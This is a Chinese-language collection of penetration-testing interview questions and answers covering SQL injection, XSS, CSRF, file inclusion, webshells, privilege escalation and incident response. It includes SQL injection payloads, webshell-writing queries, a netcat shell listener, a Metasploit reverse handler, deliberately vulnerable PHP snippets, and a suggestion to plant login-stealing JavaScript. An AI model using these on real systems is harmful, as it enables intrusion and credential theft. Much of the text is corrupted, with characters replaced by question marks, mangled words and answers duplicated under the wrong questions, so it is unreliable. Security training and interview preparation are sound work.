干貨|2021最新滲透測試面試題合集!!!
?上整理的?試問題?全,有些 HW ?試的題,已經收集好了,提供給?家。
1、介紹?下?認為有趣的挖洞經歷
挖洞也有分很多種類型,?種是以滲透、?種是以找漏洞為主,如果是前者會想各種辦法獲取權限繼?獲取想要的的東 ?完成滲透?標,這類跟 HW 類似,?標各種漏洞不算,要有 Shell,服務器權限才給分,這才是最接近實戰滲透,跟某 部?有合作的話也是屬于這種打擊?絡犯罪獲得權限、傳銷數據、組織架構,服務器權限、等......
2、你平時?的?較多的漏洞是哪些?相關漏洞的原理?以及對應漏洞的修復?案?
SQL 注?、密碼組合, 前者防護分為?種,CDN -> Web -> 數據庫 -> 主機, 設置最?權限來應對。密碼組合根據個? 習慣
3、php/java 反序列化漏洞的原理? 解決?案?
php 中圍繞著 serialize(),unserialize() 這兩個函數,序列化就是把?個對象變成可以傳輸的字符串, 如果服務器能夠接 收我們反序列化過的字符串、并且未經過濾的把其中的變量直接放進這些魔術?法??的話,就容易造成很嚴重的漏洞了。
O:7:"chybeta":1:{s:4:"test";s:3:"123";}
這?的 O 代表存儲的是對象(object), 假如你給 serialize() 傳?的是?個數組,那它會變成字? a。7 表示對象的名稱 有 7 個字符。"chybeta" 表示對象的名稱。1 表示有?個值。{s:4:"test";s:3:"123";} 中,s 表示字符串,4 表示該字符串的 ?度,"test" 為字符串的名稱,之后的類似。當傳給 unserialize() 的參數可控時,我們可以通過傳??個精?構造的序列 化字符串 控 對象內部的變 甚 數化字符串,從?控制對象內部的變量甚?是函數。
JAVA Java 序列化是指把 Java 對象轉換為字節序列的過程便于保存在內存、?件、數據庫中,ObjectOutputStream 類的 writeObject() ?法可以實現序列化。Java 反序列化是指把字節序列恢復為 Java 對象的過程,ObjectInputStream 類的 readObject() ?法?于反序列化。
4、如果?臺服務器被?侵后, 你會如何做應急響應?
- 準備相關的?具,查后?等?具
- 初步判斷事件類型, 事件等級。
- 抑制范圍,隔離使受害?不繼續擴?
- 查找原因,封堵攻擊源。
- 業務恢復正常?平.
- 總結,報告,并修復、監控
以上是常規的回答,想知道你是否有這??應急相關的經驗,像這類問題甲??試?較多。
5、你平時使?哪些?具? 以及對應?具的特點?
AWVS、Masscan、BurpSuite
AWVS 常規漏洞掃描,masscan 快速查找端?,burp 重復提交數據包
想知道是否有??開發?具,如果沒有你對每個安全?具有哪些獨特的?解以及別?不知道的技巧?法。如:awvs 如何批量掃描?burpsuite 如何爆破 401?脫庫等、等等...
6、如果遇到 waf 的情況下如何進? sql 注? / 上傳 Webshell 怎么做?請寫出曾經繞過 WAF 的經過 (SQLi,XSS,上傳漏洞選?)
PHP 上傳,?法上傳 php、解析、后臺沒有辦法拿到,只有?處點可以上傳。通過 Windows 特性 shell.php::$DAT,是?個項?管理系統
7、如何判斷 sql 注?,有哪些?法
提交錯誤語句是否有異常,除此之外這些顯示的錯誤可以通過 sleep, 修眠語句執? 5 秒等,除此之外通過 DNSlog 判斷 是還有傳回值
8、如何判斷 SQL 注?漏洞成因,如何防范?注??式有哪些?除了數據庫數據,利??式還有哪些?
select * from news where id = '$SQL';
當程序執?訪問新聞等?些操作都會執?到 sql 語句進?調?,如果在此調?過程中,提交了不合法的數據,?數據庫?法識別則會報錯。也就是?切輸?都是有害的。
注?類型有 6 種,可以參考 SQLMAP,報錯、盲注、聯合、時間、內聯、堆疊
注?提交?式:GET、POST、Cookies、?件頭
利??式:具體看什么數據庫類型,像 SQLSERVER 可以命令執?,MYSQL 寫 shell 有些權限?也可以執?命令但是條件是在 lINUX 環境下。
防范: 邊界, CDN -> 腳本語?過濾 -> 數據庫過濾最?權限 -> 主機
9、為什么有的時候沒有錯誤回顯
沒有進?錯誤打印或者錯誤屏蔽
10、寬字符注?的原理?如何利?寬字符注?漏洞,payload 如何構造?
在 mysql 中使?了 gbk 編碼,占? 2 個字節, ? mysql 的?種特性, GBK 是多字節編碼,它認為兩個字節就代表?個漢字,所以 %df 時候會和轉義符 %5c 進?結合, 所以單引號就逃逸了出來, 當第?個字節的 ascii 碼?于 128,就可以了。
11、CRLF 注?的原理
CRLF 注?在 OWASP ??被稱為 HTTP 拆分攻擊(HTTP Splitting)CRLF 是” 回? + 換?”(rn)的簡稱, 在 HTTP協議中,HTTP Header 與 HTTP Body 是?兩個 CRLF 分隔的,瀏覽器就是根據這兩個 CRLF 來取出 HTTP 內容并顯示出來。所以,?旦我們能夠控制 HTTP 消息頭中的字符,注??些惡意的換?
12、mysql 的?站注?,5.0 以上和 5.0 以下有什么區別?
5.0 以下沒有 information_schema 這個系統表,?法列表名等,只能暴?跑表名。
5.0 以下是多?戶單操作,5.0 以上是多?戶多操作。
13、php.ini 可以設置哪些安全特性
禁? PHP 函數
允許 include 或打開訪問遠程資源
14、php 的 %00 截斷的原理是什么?
因為在 C 語?中字符串的結束標識符 %00 是結束符號,? PHP 就是 C 寫的,所以繼承了 C 的特性,所以判斷為%00 是結束符號不會繼續往后執?
條件:PHP<5.3.29,且 GPC 關閉
15、webshell 檢測,有哪些?法
grep、關鍵詞、關鍵函數
安全狗、D 盾
16、php 的 LFI,本地包含漏洞原理是什么?寫?段帶有漏洞的代碼。??的話如何發掘?如果?報錯回顯,你是怎么遍歷?件的?
if ($_GET['fifile']){
include $_GET['fifile'];
}
包含的?件設置為變量,并且?過濾導致可以調?惡意?件 還可以對遠程?件包含,但需要開啟 allow_url_include = ON 通過測試參數的地?進?本地?件 / etc/passwd 等包含 如何存在漏洞?且沒有回顯,有可能沒有顯示在???是??源代碼中,除了些可以利? DNSlog 進?獲取包含的信息。從 index.php ?件?級級往讀取 也可以利? PHP 封裝協議讀取?件
17、說說常?的中間件解析漏洞利??式
IIS 6.0
/xx.asp/xx.jpg "xx.asp" 是?件夾名
IIS 7.0/7.5
默認 Fast-CGI 開啟,直接在 url 中圖?地址后?輸? / 1.php,會把正常圖?當成 php 解析
Nginx
版本?于等于 0.8.37,利??法和 IIS 7.0/7.5 ?樣,Fast-CGI 關閉情況下也可利?。
空字節代碼 xxx.jpg%00.php
Apache
上傳的?件命名為:test.php.x1.x2.x3,Apache 是從右往左判斷后綴
18、mysql 的?戶名密碼是存放在那張表???mysql 密碼采?哪種加密?式?
mysql -> users
SHA1
19、Windows、Linux、數據庫的加固降權思路,任選其?
禁? root
禁?遠程訪問
禁?寫?
單獨帳號
禁?執? system 等函數
20、你使?什么?具來判斷系統是否存在后?
Chkrootkit
Rkhunter
21、如何繞過 CDN 獲取?標?站真實 IP,談談你的思路?
類似 phpinfo、?站信息
C 段、?域名
歷史解析記錄
DDOS
zmap 全?掃描識別 http 頭
?站域名管理員郵箱,注冊過的域名等相關信息關聯
22、如果給你?個?站, 你的滲透測試思路是什么? 在獲取書?授權的前提下。
其實這是?個?常?的話題,滲透?部分思路都是如此,??試官是想聽到你回答不?樣的答案讓?眼前?亮 如何才做到讓?眼前?亮都需要看你的經驗,把你實踐的過程拿出來說,以及遇到什么問題如何解決,最終取得成果 滲透其它?同?異, ?做為滲透者知識的儲備、基礎扎實、耐?、細?都是必不可少。
23、談?談 Windows 系統與 Linux 系統提權的思路?
Windows
Windows 服務?較多所以?法也如此,最基本的就是 Exp 提權,數據庫 SQLServer、MYSQL UDF 等、第三?軟件提權。
除此之外提權的成功與否和在于信息收集也?常重要,你對這臺服務器和管理員了解多少。
windows 權限提升 (?)
Linux
Linux 也是類似,除了 EXP 或者?版本的內核?法提權之外,通過第三?軟件和服務,除了提權也可以考慮把這臺機器 當跳版, 達到先進?內?安全防線最弱的地?尋找有?的信息,再迂回戰術。
linux 權限提升
Brief
枚舉腳本
以 root 權限運?的程序
?戶安裝的軟件
弱?令或者明?密碼
只能內部訪問的服務
suid 和 guid 錯誤配置
濫? sudo 權限
以 root 權限運?的腳本?件
錯誤的路徑配置
計劃任務
未掛載的?件系統
NFS 共享
通過鍵盤記錄儀竊取密碼
其它有?的和提權相關的東?
內核提權
24、列舉出您所知道的所有開源組件?危漏洞 (?個以上)
Tomcat
Nginx
Apache
Hadhoop
Docker
Jenkins
Zenoss
Jboss
MongoDB
Redis
GlassFish
25、反彈 shell 的常?命令??般常反彈哪?種 shell?為什么?
nc -lvvp 7777 -e /bin/bash
bash 是交互式, 否則像 useradd ?法執?交互
26、CMD 命令?如何查詢遠程終端開放端?
tasklist /svc
netstat -ano
27、服務器為 IIS+PHP+MySQL,發現 root 權限注?漏洞,講講你的滲透思路
可以讀取 IIS 信息,知道路徑, 如果像 WAMMP 類似構建,通過 @@datadir 知道數據庫路徑也可以猜測?站路徑。或者直接寫 Shell
28、請寫出 Mysql5 數據庫中查詢庫’helloworld’中’users’表所有列名的語句
select COLUMN_NAME from information_schema.COLUMNS where table_name = 'your_table_name' and
table_schema = 'your_db_name';
29、下?這段代碼存在漏洞嗎?如果存在請說出存在什么漏洞并利?
http://www.exp.com/1.php
$s_func = $_GET['s_func'];
$info = $_GET['info'];
$s_func($info);
?>
代碼執?, 通過 assert 調?
30、udf 提權
MySQL 可以?定義函數, 通過?定義函數做到類似 xp_cmdshell 效果
31、SQL 頭注?點
UserAgent
Referer
Cookie
X-FOR-I
32、php 中命令執?涉及到的函數
eval()
assert()
system()
exec()
shell_exec()
33、SSRF 漏洞的成因 防御 繞過
模擬服務器對其它資源進?請求 IP 探測,如果想漏洞利?必需要構造好 Payload 禁?跳轉,限制協議,內外?限制,
URL 限制 針對 IP 格式
34、mysql 寫 shell 有?種?法
outfifile、dumpfifile、開啟 log 寫 webshell
35、Metasploit 打開反向監聽的命令
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
36、應急響應的步驟
- 準備已經編譯好的?具以及取證分析等?具?凈可靠放 U 盤
- 初步判斷事件的類型 是被?侵 ddos 還是其它的原因
- ?先抑制范圍、影響范圍,隔離使受害?不繼續擴?。
- 尋找原因,封堵攻擊源。
- 把業務恢復?正常?平
- 監控有?異常,報告、管理環節的?省和改進措施。
37、有哪些反向代理的?具?
reGeirg、EW、lcx、Ngrok、frp
38、有什么?較曲折的滲透經歷
這個問題想知道你?作滲透到什么樣的程度,只是簡單的漏掃搬磚,還是有毅?堅持完成整個滲透,如:對?標不放棄,堅持?個?最終通過各種?段,曲折的過程拿下?標。
39、UpdateTime:2019.5.11
怎么查找域控
?法有很多
1.通過 DNS 查詢
dig -t SRV _gc._tcp.lab.ropnop.com
dig -t SRV _ldap._tcp.lab.ropnop.com
dig -t SRV _kerberos._tcp.lab.ropnop.com
dig -t SRV _kpasswd._tcp.lab.ropnop.com
2. 端?掃描
域服務器都會開啟 389 端?,所以可以通過掃描端?進?識別。
3. 其實很多域環境?,DNS 服務器就是域控制根本不需要怎么找。
4. 各種命令
dsquery
net group "Domain controllers"
nltest /DCLIST:pentest.com
......
1、什么是同源策略?
源就是主機、協議、端?名的?個三元組 同源策略 (Same Origin Policy, SOP) 是 Web 應?程序的?種安全模型,被?
泛地應?在處理 WEB 內容的各種客戶端上,?如各?瀏覽器,微軟的 Silverlight,Adobe 的 Flash/Acrobat 等等。
2、XSS 能?來做什么?
?絡釣?、竊取?戶 Cookies、彈?告刷流量、具備改??信息、刪除?章、獲取客戶端信息、傳播蠕?
3、XSS 的三種類型,防御?法
反射型、Dom Base XSS、存儲型 防御?法這個只能說個?概,畢竟這是?個?較?的話題,?且防御的?法還得看所在的業務等。從?絡層、主機層、Web 層、數據庫,通過 CDN 都有過濾常??些攻擊?法,但不能有 CDN 就以為可以了,添加 CDN 只是讓攻擊成本增?,開啟 HttpOnly,以防確實存在避免 cookies 被獲取,CSP 策略、再就是語?中提供的函數對輸?過濾,以及輸出編碼以及 ModSecurity 類的防?墻。
4、存儲型 xss 原理?
如?站留?版,把插?的記錄存儲在數據庫中,插?的代碼會?直留在??上,當其它?戶訪問會從數據庫中讀取并觸
發漏洞。
5、你怎么理解 xss 攻擊?
是?種被動型,在不知道的情況下觸發類似?感型,在滲透很多情況下平常的滲透?段以及取得?標的信息,? XSS 就
能輕松獲取,類似 QQ 郵箱你不可能滲透這么?的互聯?就算可以時間成本都?常的?,XSS ?較有針對性。
6、如何快速發現 xss 位置?
各種輸?的點,名稱、上傳、留?、可交互的地?,?切輸?都是在害原則。
7、Dom xss 原理 / 防范
DOM 型 XSS 并不需要服務器解析響應的直接參與觸發 XSS 靠的是瀏覽器 DOM 解析 DOM—based XSS 漏洞是基于?檔對象模型 Document Objeet Model,DOM) 的?種漏洞。
cument.getElementById("a").innerHTML="yyyyyy";
在輸?點過濾敏感關鍵字
8、DOM 型 XSS 與反射型 XSS 區別?
DOM 型就是 JavaScript 中的 Document 對象 HTML 注?,直接瀏覽器處理。
9、如何使得前端 referer 為空
通過地址欄輸?、從書簽??選擇或者瀏覽器的插件 BurpSuite 修改。
10、cookie 參數,security ?什么的
Httponly:防? cookie 被 xss 偷
https:防? cookie 在?絡中被偷
Secure:阻? cookie 在? https 下傳輸,很多全站 https 時會漏掉
Path : 區分 cookie 的標識,安全上作?不?,和瀏覽器同源沖突
11、如果 SRC 上報了?個 XSS 漏洞,payload 已經寫???,但未給出具體位置,如何快速介??
看是否什么類型的 XSS,XSS 反射型看提交的地址,指的參數是哪個位置,通過這個??進? fuzzing 測試。如果是存儲型??查找關鍵字。
12、XSS, CSRF, CRLF ?較容易弄混,說說三者的原理,防御?法
CSRF 跨站請求偽造,構造已知的所有參數讓對?訪問,防護 CSRF: 防御原理:不讓你那么容易偽造請求 (cookie 中加?隨機數,要求請求中帶上,?攻擊者獲取不到 cookie中的隨機數, 驗證 HTTP Referer 字段, 在請求地址中添加 takon 驗證
CRLF 原理:
HTTP 拆分攻擊(HTTP Splitting),CRLF 是” 回? + 換?”(rn)的簡稱。
在 HTTP 協議中,HTTP Header 與 HTTP Body 是?兩個 CRLF 分隔的,瀏覽器就是根據這兩個 CRLF 來取出 HTTP內容并顯示出來。所以,?旦我們能夠控制 HTTP 消息頭中的字符,注??些惡意的換?,這樣我們就能注??些會話Cookie 或者 HTML 代碼,所以 CRLF Injection ?叫 HTTP Response Splitting,簡稱 HRS。
13、csrf 如何不帶 referer 訪問
通過地址欄,?動輸?;從書簽??選擇;通過實現設定好的?勢。上?說的這三種都是?戶??去操作,因此不算 CSRF。
跨協議間提交請求。常?的協議:ftp://,http://,https://,fifile://,javascript:,data:. 最簡單的情況就是我們在本地打開?個HTML ?? 這個時候瀏覽器地址欄是 fifile:// 開頭的 如果這個 HTML ??向任何 http 站點提交請求的話 這些請求HTML ??,這個時候瀏覽器地址欄是 fifile:// 開頭的,如果這個 HTML ??向任何 http 站點提交請求的話,這些請求的 Referer 都是空的。那么我們接下來可以利? data: 協議來構造?個?動提交的 CSRF 攻擊。當然這個協議是 IE 不?持的,我們可以換? javascript:
14、CSRF 成因及防御措施;如果不? token 如何做防御?
X-Frame-Options
DENY(禁?被 加載進任何 frame)
SAMEORIGIN(僅允許被加載進同域內的 frame)
X-XSS-Protection
0(表示禁??這個策略)
1(默認,對危險腳本做?些標志或修改,以阻?在瀏覽器上熏染執?。)
1;mode=block(強制不熏染,在 Chrome 下直接跳轉到空??,在 IE 下返回?個 #符號)
這個策略僅針對反射型,對付不了存儲型 XSS,能識別出反射型是因為提交請求的 URL 中帶有可疑的 XSS 代碼?段。
X-Content-Security-Policy
15、Xss worm 原理
攻擊者發現?標?站存在 XSS 漏洞,并且可以編寫 XSS 蠕?。利??個宿主(如博客空間)作為傳播源頭進? XSS 攻
擊。
16、Cookie 的 P3P 性質
HTTP 響應頭的 p3 字段是 W3C 公布的?項隱私保護推薦標準,該字段?于標識是否允許?標?站的 cookie 被另?個
域通過加載?標?站?設置或發送,僅 IE 執?了該策略。
17、CSRF 有何危害?
篡改?標?站上的?戶數據 盜取?戶隱私數據 傳播 CSRF 蠕
?、思路流程
1、信息收集
a、服務器的相關信息(真實 ip,系統類型,版本,開放端?,WAF 等)
b、?站指紋識別(包括,cms,cdn,證書等),dns 記錄
c、whois 信息,姓名,備案,郵箱,電話反查(郵箱丟社?庫,社?準備等)
e、?域名收集,旁站,C 段等
f、google hacking 針對化搜索,pdf ?件,中間件版本,弱?令掃描等
g、掃描?站?錄結構,爆后臺,?站 banner,測試?件,備份等敏感?件泄漏等
h、傳輸協議,通?漏洞,exp,github 源碼等
2、漏洞挖掘
a、瀏覽?站,看看?站規模,功能,特點等
b、端?,弱?令,?錄等掃描, 對響應的端?進?漏洞探測,?如 rsync, ?臟出?,mysql,ftp,ssh 弱?令等。
c、XSS,SQL 注?,上傳,命令注?,CSRF,cookie 安全檢測,敏感信息,通信數據傳輸,暴?破解,任意?件上傳,越權訪問,未授權訪問,?錄遍歷,?件 包含,重放攻擊(短信轟炸),服務器漏洞檢測,最后使?漏掃?具等
3、漏洞利? & 權限提升
a、 mysql 提權 serv u 提權 oracle 提權
b、windows 溢出提權
c、linux 臟?, 內核漏洞提權 e
4、清除測試數據 & 輸出報告
?志、測試數據的清理
總結,輸出滲透測試報告,附修復?案
5、復測
驗證并發現是否有新漏洞,輸出報告,歸檔
二、問題
1、拿到?個待檢測的站,你覺得應該先做什么?
信息收集
a、獲取域名的 whois 信息, 獲取注冊者郵箱姓名電話等,丟社?庫?看看有沒有泄露密碼,然后嘗試?泄露的密碼進?
登錄后臺。?郵箱做關鍵詞進?丟進搜索引擎。利?搜索到的關聯信息找出其他郵箱進?得到常?社交賬號。社?找出
社交賬號,??或許會找出管理員設置密碼的習慣 。利?已有信息?成專?字典。
b、查詢服務器旁站以及?域名站點,因為主站?般?較難,所以先看看旁站有沒有通?性的 cms 或者其他漏洞。
c、查看服務器操作系統版本,web 中間件,看看是否存在已知的漏洞,?如 IIS,APACHE,NGINX 的解析漏洞
d、查看 IP,進? IP 地址端?掃描,對響應的端?進?漏洞探測,?如 rsync, ?臟出?,mysql,ftp,ssh 弱?令等。
e、掃描?站?錄結構,看看是否可以遍歷?錄,或者敏感?件泄漏,?如 php 探針
f、google hack 進?步探測?站的信息,后臺,敏感?件
漏洞掃描
開始檢測漏洞
如 XSS XSRF sql 注? 代碼執? 命令執? 越權訪問 ?錄讀取 任意?件讀取 下載 ?件包含開始檢測漏洞,如 XSS,XSRF,sql 注?,代碼執?,命令執?,越權訪問,?錄讀取,任意?件讀取,下載,?件包含,
遠程命令執?,弱?令,上傳,編輯器漏洞,暴?破解等
漏洞利?
利?以上的?式拿到 webshell,或者其他權限
權限提升
提權服務器,?如 windows 下 mysql 的 udf 提權,serv-u 提權,windows 低版本的漏洞,如 iis6,pr, 巴?烤?,linux
臟?漏洞,linux 內核版本漏洞提權,linux 下的 mysql system 提權以及 oracle 低權限提權
?志清理
總結報告及修復?案
2、判斷出?站的 CMS 對滲透有什么意義?
查找?上已曝光的程序漏洞。
如果開源,還能下載相對應的源碼進?代碼審計。
3、?個成熟并且相對安全的 CMS,滲透時掃?錄的意義?
敏感?件、?級?錄掃描
站?的誤操作?如:?站備份的壓縮?件、說明. txt、?級?錄可能存放著其他站點
4. 常?的?站服務器容器。
IIS、Apache、nginx、Lighttpd、Tomcat
5.mysql 注?點,用工具對?標站直接寫寫入一句話,需要哪些條件?
root 權限以及?站的絕對路徑。
6. ?前已知哪些版本的容器有解析漏洞,具體舉例。
a、IIS 6.0
/xx.asp/xx.jpg "xx.asp" 是?件夾名
b、IIS 7.0/7.5
默認 Fast-CGI 開啟,直接在 url 中圖?地址后?輸? / 1.php,會把正常圖?當成 php 解析
c、Nginx
版本?于等于 0.8.37,利??法和 IIS 7.0/7.5 ?樣,Fast-CGI 關閉情況下也可利?。空字節代碼 xxx.jpg.php
d、Apache 上傳的?件命名為:test.php.x1.x2.x3,Apache 是從右往左判斷后綴
e、lighttpd xx.jpg/xx.php,不全, 請?伙伴們在評論處不吝補充,謝謝!
7. 如何??快速判斷?標站是 windows 還是 linux 服務器?
linux ??寫敏感, windows ??寫不敏感。
8. 為何?個 mysql 數據庫的站,只有?個 80 端?開放?
更改了端?,沒有掃描出來。
站庫分離。
3306 端?不對外開放
9、3389 ?法連接的?種情況
沒開放 3389 端?
端?被修改防護攔截
處于內? (需進?端?轉發)
10. 如何突破注?時字符被轉義?
寬字符注?
hex 編碼繞過
11. 在某后臺新聞編輯界?看到編輯器,應該先做什么?
查看編輯器的名稱版本, 然后搜索公開的漏洞。
12. 拿到?個 webshell 發現?站根?錄下有. htaccess ?件,我們能做什么?
能做的事情很多,?隱藏??來舉例?:
插?
SetHandler application/x-httpd-php
.jpg ?件會被解析成. php ?件。
具體其他的事情,不好詳說,建議?家??去搜索語句來玩玩。
13. 注?漏洞只能查賬號密碼?
只要權限?,拖庫脫到?。
14. 安全狗會追蹤變量,從?發現出是?句話??嗎?
是根據特征碼,所以很好繞過了,只要思路寬,繞狗繞到歡,但這應該不會是?成不變的。
15.access 掃出后綴為 asp 的數據庫?件,訪問亂碼, 如何實現到本地利用?
迅雷下載,直接改后綴為. mdb。
16. 提權時選擇可讀寫?錄,為何盡量不?帶空格的?錄?因為 exp 執?多半需要空格界定參數
17. 某服務器有站點 A,B 為何在 A 的后臺添加 test ?戶,訪問 B 的后臺。發現也添加上了 test ?戶?
同數據庫。
18. 注?時可以不使? and 或 or 或 xor,直接 order by 開始注?嗎?
and/or/xor,前?的 1=1、1=2 步驟只是為了判斷是否為注?點,如果已經確定是注?點那就可以省那步驟去。
19: 某個防注?系統,在注?時會提示:
系統檢測到你有?法注?的?為。
已記錄您的 ip xx.xx.xx.xx
時間: 2016:01-23
提交??: test.asp?id=15
提交內容: and 1=1
20、如何利?這個防注?系統拿 shell?
在 URL ??直接提交?句話,這樣?站就把你的?句話也記錄進數據庫?件了 這個時候可以嘗試尋找?站的配置?件
直接上菜?鏈接。
21. 上傳??后訪問亂碼時,有哪些解決辦法?
瀏覽器中改編碼。
22. 審查上傳點的元素有什么意義?
有些站點的上傳?件類型的限制是在前端實現的,這時只要增加上傳類型就能突破限制了。
23. ?標站禁?注冊?戶,找回密碼處隨便輸??戶名提示:“此?戶不存在”,你覺得這?怎樣利??
先爆破?戶名,再利?被爆破出來的?戶名爆破密碼。
其實有些站點,在登陸處也會這樣提示
所有和數據庫有交互的地?都有可能有注?。
24. ?標站發現某 txt 的下載地址為
http://www.test.com/down/down.php?fifile=/upwdown/1.txt,你有什么思路?
這就是傳說中的下載漏洞!在 fifile = 后?嘗試輸? index.php 下載他的???件,然后在???件?繼續查找其他?站的配置?件,可以找出?站的數據庫密碼和數據庫的地址。
25. 甲給你?個?標站,并且告訴你根?錄下存在 / abc / ?錄,并且此?錄下存在編輯器和 admin ?錄。請問你的想法是?
直接在?站?級?錄 / abc / 下掃描敏感?件及?錄。
26. 在有 shell 的情況下,如何使? xss 實現對?標站的?久控制?
后臺登錄處加?段記錄登錄賬號密碼的 js,并且判斷是否登錄成功,如果登錄成功,就把賬號密碼記錄到?個?僻的路
徑的?件中或者直接發到??的?站?件中。(此?法適合有價值并且需要深?控制權限的?絡)。
在登錄后才可以訪問的?件中插? XSS 腳本。
27. 后臺修改管理員密碼處,原密碼顯示為 *。你覺得該怎樣實現讀出這個?戶的密碼?
審查元素 把密碼處的 password 屬性改成 text 就明?顯示了
28. ?標站?防護,上傳圖?可以正常訪問,上傳腳本格式訪問則 403. 什么原因?
原因很多,有可能 web 服務器配置把上傳?錄寫死了不執?相應腳本,嘗試改后綴名繞過
29. 審查元素得知?站所使?的防護軟件,你覺得怎樣做到的?
在敏感操作被攔截,通過界?信息?法具體判斷是什么防護的時候,F12 看 HTML 體部 ?如護衛神就可以在名稱那看到內容。
30. 在 win2003 服務器中建??個 .zhongzi ?件夾?意何為?
隱藏?件夾,為了不讓管理員發現你傳上去的?具。
31、sql 注?有以下兩個測試選項,選?個并且闡述不選另?個的理由:
A. demo.jsp?id=2+1
B. demo.jsp?id=2-1
選 B,在 URL 編碼中 + 代表空格,可能會造成混淆
32、以下鏈接存在 sql 注?漏洞,對于這個變形注?,你有什么思路?
demo.do?DATA=AjAxNg==
DATA 有可能經過了 base64 編碼再傳?服務器,所以我們也要對參數進? base64 編碼才能正確完成測試
33、發現 demo.jsp?uid=110 注?點,你有哪?種思路獲取 webshell,哪種是優選?
有寫?權限的,構造聯合查詢語句使? using INTO OUTFILE,可以將查詢的輸出重定向到系統的?件中,這樣去寫?
WebShell 使? sqlmap –os-shell 原理和上??種相同,來直接獲得?個 Shell,這樣效率更? 通過構造聯合查詢語句
得到?站管理員的賬戶和密碼,然后掃后臺登錄后臺,再在后臺通過改包上傳等?法上傳 Shell
34、CSRF 和 XSS 和 XXE 有什么區別,以及修復?式?
XSS 是跨站腳本攻擊,?戶提交的數據中可以構造代碼來執?,從?實現竊取?戶信息等攻擊。修復?式:對字符實體
進?轉義、使? HTTP Only 來禁? JavaScript 讀取 Cookie 值、輸?時校驗、瀏覽器與 Web 應?端采?相同的字符編
碼。
CSRF 是跨站請求偽造攻擊,XSS 是實現 CSRF 的諸多?段中的?種,是由于沒有在關鍵操作執?時進?是否由?戶?愿發起的確認。修復?式:篩選出需要防范 CSRF 的??然后嵌? Token、再次輸?密碼、檢驗 Referer XXE 是 XML 外部實體注?攻擊,XML 中可以通過調?實體來請求本地或者遠程內容,和遠程?件保護類似,會引發相關安全問題,例如敏感?件讀取。修復?式:XML 解析庫在調?時嚴格禁?對外部實體的解析。
35、CSRF、SSRF 和重放攻擊有什么區別?
CSRF 是跨站請求偽造攻擊,由客戶端發起 SSRF 是服務器端請求偽造,由服務器發起 重放攻擊是將截獲的數據包進?重放,達到身份認證等?的
36、說出?少三種業務邏輯漏洞,以及修復?式?
密碼找回漏洞中存在
1)密碼允許暴?破解、
2)存在通?型找回憑證、
3)可以跳過驗證步驟、
4)找回憑證可以攔包獲取
等?式來通過?商提供的密碼找回功能來得到密碼。身份認證漏洞中最常?的是
1)會話固定攻擊
2) Cookie 仿冒
只要得到 Session 或 Cookie 即可偽造?戶身份。驗證碼漏洞中存在
1)驗證碼允許暴?破解
2)驗證碼可以通過 Javascript 或者改包的?法來進?繞過
37、圈出下?會話中可能存在問題的項,并標注可能會存在的問題?
get /ecskins/demo jsp?uid=2016031900&keyword=”hello world” HTTP/1.1Host:***.com:82User-Agent:Mozilla/ 5.0 Firefox/40Accept:text/css,/;q=0.1 Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3 Referer:http://*******.com/eciop/orderForCC/ cgtListForCC.htm?zone=11370601&v=145902 Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d; uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ; st_uid=N90PLYHLZGJXI-NX01VPUF46W; status=True Connection:keep-alive
有寫?權限的,構造聯合查詢語句使? using INTO OUTFILE,可以將查詢的輸出重定向到系統的?件中,這樣去寫?WebShell 使? sqlmap –os-shell 原理和上??種相同,來直接獲得?個 Shell,這樣效率更? 通過構造聯合查詢語句得到?站管理員的賬戶和密碼,然后掃后臺登錄后臺,再在后臺通過改包上傳等?法上傳 Shell
38、給你?個?站你是如何來滲透測試的?
在獲取書?授權的前提下。
39、sqlmap,怎么對?個注?點注??
1)如果是 get 型號,直接,sqlmap -u "諸如點?址".
2) 如果是 post 型諸如點,可以 sqlmap -u "注?點?址” --data="post 的參數 "
3)如果是 cookie,X-Forwarded-For 等,可以訪問的時候,? burpsuite 抓包,注?處?號替換,放到?件?,然后
sqlmap -r "?件地址"
40、nmap,掃描的?種?式
文章:https://www.changchen.cc/archives/20/
41、sql 注?的?種類型?
1)報錯注?
2)bool 型注?
3)延時注?
4)寬字節注?
42、報錯注?的函數有哪些?10 個
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
2)通過floor報錯 向下取整3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)
b));
5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
10).exp()select from test where id=1 and exp(~(select * from(select user())a));
43、延時注?如何來判斷?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
44、盲注和延時注?的共同點?
都是?個字符?個字符的判斷
45、如何拿?個?站的 webshell?
上傳,后臺編輯模板,sql 注?寫?件,命令執?,代碼執?, ?些已經爆出的 cms漏洞,?如 dedecms 后臺可以直接建?腳本?件,wordpress 上傳插件包含腳本?件 zip 壓縮包等
46、sql 注?寫?件都有哪些函數?
select '?句話' into outfile '路徑' select '?句話' into dumpfile '路徑' select '' into dumpfile 'd:\wwwroot\baidu.comvhack.php;
47、如何防? CSRF?
1)驗證 referer
2)驗證 token
詳細:http://cnodejs.org/topic/5533dd6e9138f09b629674fd
48、owasp 漏洞都有哪些?
1)SQL 注?防護?法:
2)失效的身份認證和會話管理2)失效的身份認證和會話管理
3)跨站腳本攻擊 XSS
4)直接引?不安全的對象
5)安全配置錯誤
6)敏感信息泄露
7)缺少功能級的訪問控制
8)跨站請求偽造 CSRF
9)使?含有已知漏洞的組件
10)未驗證的重定向和轉發
49、SQL 注?防護?法?
1)使?安全的 API
2)對輸?的特殊字符進? Escape 轉義處理
3)使??名單來規范化輸?驗證?法
4)對客戶端輸?進?控制,不允許輸? SQL 注?相關的特殊字符
5)服務器端在提交數據庫進? SQL 查詢之前,對特殊字符進?過濾、轉義、替換、刪除。
50、代碼執?,?件讀取,命令執?的函數都有哪些?
